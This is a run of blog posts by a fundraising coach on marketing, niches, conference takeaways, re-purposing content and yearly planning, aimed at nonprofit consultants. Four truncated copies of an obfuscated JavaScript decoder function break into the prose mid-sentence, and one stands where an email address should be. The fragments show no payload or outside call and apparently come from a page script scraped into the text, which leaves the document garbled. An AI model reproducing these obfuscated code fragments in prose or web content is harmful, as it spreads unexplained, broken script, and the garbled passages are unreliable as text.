Creating a Movement
If you’ve ever wondered why some people seem to have all the sales they can handle while others struggle, there are reasons. It's largely about marketing (getting in front of the right people at the right time with the right offer), but it's also about movement.
My coach Suzanne Evans talks a LOT about creating a movement. It's about taking a stand for something that people can get excited about. For example, it's not enough to say to the nonprofit community "I can help you raise money." You need to tell they WHY it's important to you to help them. At Get Fully Funded, we say "we want to help you raise the money of your dreams so you can fully fund your mission." See the difference?
Watch this great video from Simon Sinek to understand this concept a bit more.
Always sharpen the saw
I’m a big believer in continuing my education.function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
I don't mean going back to school. Actually, you couldn't PAY me enough to go back to school! But I'll attend conferences and webinars and read books all the time. I love learning things that are applicable to my business.
I spent this past weekend at a conference called NAMS in Atlanta. It was my first time at this event, so I wasn't sure what to expect. As always, there's stuff to learn, people to meet, and food to eat (if you know me, you know that a visit to the Cheesecake Factory was on the agenda!!). I thought I'd share with you a few of the nuggets I took away.
In the opening session, I learned that my business style is Mentor/Creative. (No big surprise, right?) This means that I love teaching and sharing, and I'm really good at coming up with ideas. It was good affirmation that I should be leading workshops and writing books.
I was reminded by Jeff Herring that prospects are attracted to your "voice" and the way you approach and solve problems. When you blog and engage in article marketing, you're giving people a chance to get a taste of who you are and how you do what you do. Jeff also reminded us not to marketing to everyone. "Look for those mot hungry." Makes total sense to me. You can't help everyone, so why not help those who want it, need it, and are willing to pay for it?
The afternoon session, led by Karon Thackston, was about copywriting and creating personas for your target audience. I was able to sit down with Karon on day 2 and get her input on my personas to firm them up. These will become the basis for the website makeover that I'm planning for GetFullyFunded.com. When you're thinking about personas, be sure to include behavior, history, wants/needs/wishes, and struggles/issues/roadblocks in addition to demographics and psychographics. I other words, don't set your ideal client profile to "small nonprofits." Heck, there are over a million of those! Get more specific about the ideal small nonprofit. How long have they been around, what keeps them awake at night? The more you can refine this, the easier marketing gets.
On day 2, I learned a lot from Ellen Britt as she led a workshop on content marketing. She said that quality content = current, actionable, and informative. It's a good reminder that we need to provide our readers with good stuff, not just stuff. She went on to show us a 10-step process for taking one article and re-purposing it over and over to get maximum exposure from it. She included on that list sharing the article on social media, recording in and sharing on iTunes, and making PowerPoint slides and sharing on SlideShare. It's a way to reach multiple audiences with one piece of writing.
I sat in on a couple of sessions that talked about Amazon and selling ebooks for Kindle. I've resisted doing this for a while, but I finally see how this fits into my overall marketing strategy. I got lots of ideas for turning my current ebooks into Kindle and audiobooks, and gleaning other things from my current product inventory that I can monetize. I'm so excited to get some of these out there and see what happens!
I have pages and pages of notes, with action items starred and key phrases highlighted. My next step is to go back through and pull out the action items so I can work them into my calendar. This is how I make sure that I get my money's worth from the events I attend. Otherwise, it was just a fun weekend. If you and I don't implement what we learn, it's a waste of time.
How do you evaluate an opportunity?
When you’re in business, you figure out pretty fast that you can’t do everything. It takes support like accounting professionals and graphic designers and web masters to make everything happen. After all, you're an expert in nonprofit, not all that other stuff.
One of the most important people I have in my world is a coach. I'm a huge believer in having a business coach to keep me thinking BIG and moving forward. Even though part of me would love to think I can figure this out on my own, it's just not realistic. You know that saying "You can't see the forest for the trees?" Well sometimes you can't see the forest because you ARE a tree!function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
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Sometimes I hire a coach and sometimes I attend an event they're leading. Often, spending 2 or 3 days with the right coach will give me what I need for the coming months.
The downside is that these opportunities can be pricey. So, how do you decide which ones to say "yes" to?
First of all, you need to understand that saying "yes" to an event or a coaching program is saying "yes" to yourself. Look at it as an investment in your knowledge and skill. Frankly, this is the best kind of investment you can make, because once you learn something, it can never be taken away from you.
Consider this: if you want clients to invest money with you, you need to be willing to invest money in yourself. If you're considering offering a $10,000 coaching or consulting program, you need to be investing in yourself at that level. Otherwise, how will you know what it feels like to make that decision? You just can't expect others to value you more than you value yourself.
I've spent thousands and thousands on myself in the past few years. The first time I did, I was so nervous, I thought I would throw up! Making that decision to take myself the next level meant something much deeper than I realized at the time. For me personally, it was a way of showing myself that I was worth it, and honestly, it was downright scary! But I'm so glad I went for it. Coaching has given me the tools and the spark to take my business to the next level and beyond. And one of the biggest things I've learned is that my business will never grow bigger than I grow personally. Think about that!
Since then, I've learned how to take the emotion out of the decision making process, and evaluate opportunities to decide if they're right for me. Here are the top 4 things I look at:
- The coach. Is this someone I really want to learn from? Do I resonate with them? I want to be excited about being with the people I'm learning from.
- Their experience. Have they really done what their teaching? It seems out of integrity to me if they haven't. Are they actively doing what they're teaching? If they aren't, they may not be up on the latest trends and techniques.
- Their results. Have they been super successful doing what I want to do? Can I easily follow in their footsteps?
- The investment. Is the cost reasonable? Is it a good value? Am I willing to spend this much on this opportunity? And can I recover the cost quickly (within a few months) using what they teach me.
These questions help guide me to making good decisions about where to spend my time and money.
How do YOU evaluate an opportunity? Leave a comment and share your thoughts.
Reuse and re-purpose content!
If you aren’t using your work more than once, you’re missing the boat! There are lots of ways to re-use and re-purpose content like your writing and talks to increase your offerings and add to your bottom line.function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
The first book I put together was actually the simplest thing in the world to do. I took all the handouts from the various workshops I'd led and put them in one file. I smoothed it out, added a couple more thoughts, and ta da! My first book was born! (Fundraising Buffet: A collection of 101 tips to increase donations and deepend donor satisfaction).
The nice thing about that book is that it didn't take a heck of a lot of work to put it together. It took me a long time to handle my perfectionism and call it done, but that's another story. 🙂
I've been able to sell that book from my website, sell it in the back of the room when I speak, give it away as a gift, and add it as a bonus to other products. I self published it, so I have control over the content and can easily do what I want with it (perk of self-publishing).
I could have turned it into a webinar, recorded an audio of it, or created a workshop from it. I could have found dozens of ways to re-use and re-purpose that material.
If you're concerned that this is too many different ways to offer information, don't. Remember that there are several different learning styles out there - some people prefer to read the book, some want to listen to the audio, some like a webinar, others want to learn in person. When you can offer information in a variety of ways, you're actually doing a nice job of accommodating a variety of learning styles.
Here's an exercise for you: Grab a piece of paper and pen, and make a quick list of everything you've got that you could re-use or re-purpose. Include articles you've written, talks you've given, workshops, webinars, books you've written, etc. Put it ALL on the list. Then think about ways you could re-package various ones or combime them together for a new product.
What do you have that you could market now? What could you tweak a bit and market now?
I bet you'll find you have more to work with than you think!
Are you ready for a super-successful 2013?
If you’re like me, I start every new year with great hopes and aspirations. The new year is like a blank slate!
I keep thinking I'll have plenty of time to think and dream and get a comprehensive plan together, complete with action items and milestones.
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But somehow, I get to January 16th without having gotten much accomplished on my extravagant plans.
Am I the only one or does this happen to you, too?
It seems that I always have more on my plate that I can say grace over, which is a good thing! But I find that if I don't have a plan, I spend a lot of time being reactive and putting out fires.
I'm sure you've heard it before, but it's worth repeating: if you don't decide how you will spend your time, you'll wonder where it went.
So, here's how I put together a quick-and-dirty plan to have a super-successful business year.
1. Decide on the ultimate goals. How much money do you want to make in 2013? And how many people or nonprofits do you want to help? Answer these two questions and the rest are easier.
2. What services or products can you offer that are easy for you to deliver and bring in the most money for the investment of your time and energy?
3. Who is the prime target for these services or products?
4. Do you already have prime targets you can reach out to? If not, how can you reach prospects easily and in large numbers?
The rest is marketing, follow-up and closing the sale.
Last year, I put my two main goals on big sticky notes and put them on the wall in my office. And guess what happened? I hit them BOTH! It was very cool! By having them in writing and where I could see them regularly, it kept them front and center, and in focus.
Another thing that is really helpful for me is when I share my goals with someone who can help hold me accountable. Whether it's a coach, a mentor, or a support buddy, having someone ask me regularly how I'm doing helps keep me on track.
What works for you? I'd love for you to leave a comment and let me know any tricks or tips you have for creating a plan or reaching your goals.
If you want to re-publish this article, please include all credits including the following blurb at the end of the article. © 2013 Sandy Rees - Get Fully Funded. All Rights Reserved.
Waiting For Your Cat to Bark
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I recently read “Waiting For Your Cat to Bark?” and confirmed a lot of what I already knew about marketing. I also got some insight into how to find the right customers and encourage them to make a purchase. And if you’re building products into your business, you definitely need to know how to help people buy from your website!
For example, to help your prospect buy, you need to do everything you can to make it easy for them to make a decision. That means not only giving them details of what they’re getting, but helping them imagine the results they will get when they use your product or service.
The book points out that “studies have demonstrated that when a person can’t connect emotionally with whatever task he is undertaking, he will not be able to make a decision.” Don’t assume your prospect will see the connection between your product or service and the solution they want to their problem. Spell it out. Connect the dots. Hold their hand and walk them through it.
Make sure you remove every barrier to the sale that you possibly can, so that your prospect can make a purchase and ultimately get their hands on the information that could change everything for them.
Interested? You can find this book on Amazon by clicking "Waiting for Your Cat to Bark".
The Value of Products
One of the things I love most about my lifestyle business is that the model lets me serve more people than I could using a regular business model. It makes my heart sing to know that I’m helping dozens, sometimes hundreds of people at once, working less than you’d expect.
Most people who become consultants charge by the hour for services rendered. In other words, they exchange hours for dollars. Using the Lifestyle Business model, you work one-to-many instead of one-to-one. By leveraging your time and your knowledge, you can serve more people and make more money using the same (or less) amount of time.
The most common way to do this is through information or teaching products, like books, workbooks, audios, videos, or some combination of these. Products allow you to record your knowledge into a format that your audience wants, and easily sell them from your website at all hours of the day or night. Add in an automated ordering, payment, and shipping system, and you can completely remove yourself from the process. The best part is that you do the work once to create the material for the product, then you and your audience reap the benefit from now on.
And plus, it’s just so cool to add “author” to your business card!
The Riches are in the Niches
You can’t be all things to all people. In business, it’s a recipe for failure.
When you choose and clearly define a niche for your business (a small, well-defined audience to market to) marketing and everything else gets easier. For a consultant or coach to nonprofits, a niche is critical. There are over 1.5 million nonprofits in the US alone. It’s not likely that you can effectively serve them all. So figure out who you can serve well and what issue or topic you can become the known expert. For example, you might choose to work only with animal shelters. Or you might choose to serve small nonprofits undertaking capital campaigns. Usually the best niche is something you have some experience with personally.
Regardless of the niche you choose, you’ll find that marketing becomes much simpler, because the people are easier to reach in large numbers. For example, if you choose animal shelters as your niche, there are associations of animal shelters in the US, complete with conferences, websites, and newsletters (I know because I once spoke at such a conference).
Another way to think about niche is to think about the topics that set your heart on fire. What flames your passion? Do you love talking about direct mail? Or maybe grantwriting? Maybe you get crazy passionate about anything that is a ministry or supports kids. Follow your heart and your energy to discover potential niches for your business.
Regardless of the technique you use to find it, uncovering your niche is vital to your ability to create a lifestyle business.
Clarity is Key
As you work to grow your business, there’s one thing that will accelerate your success: clarity.
The clearer you can be about who you want to serve and how you want to position your expertise, the more likely you will be to reach your goals. When you’re crystal clear about the direction you want to take your business, it’s easy to know what to do next and to get into action working on it.
When you’re clear about your ideal client, it’s easy to find them. You don’t have to try to reach everyone (which doesn’t work).
When you’re clear about your expertise, it’s simple to choose the perfect marketing activities. No need to waste time and money on things that won’t work and won’t help you reach your goals.
When you’re clear about the value you provide, it’s easy to make an offer and close the sale. You can stop feeling queasy when you talk about money and your prices.
See how this works?
Confusion leads to chaos and procrastination. Clarity leads to action and success.
If you aren’t clear, you need to spend some time working on it. A few well-spent hours or days now can save you tons of time and worry later. Get clear and get moving forward.
Need help getting clear? Email me at function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
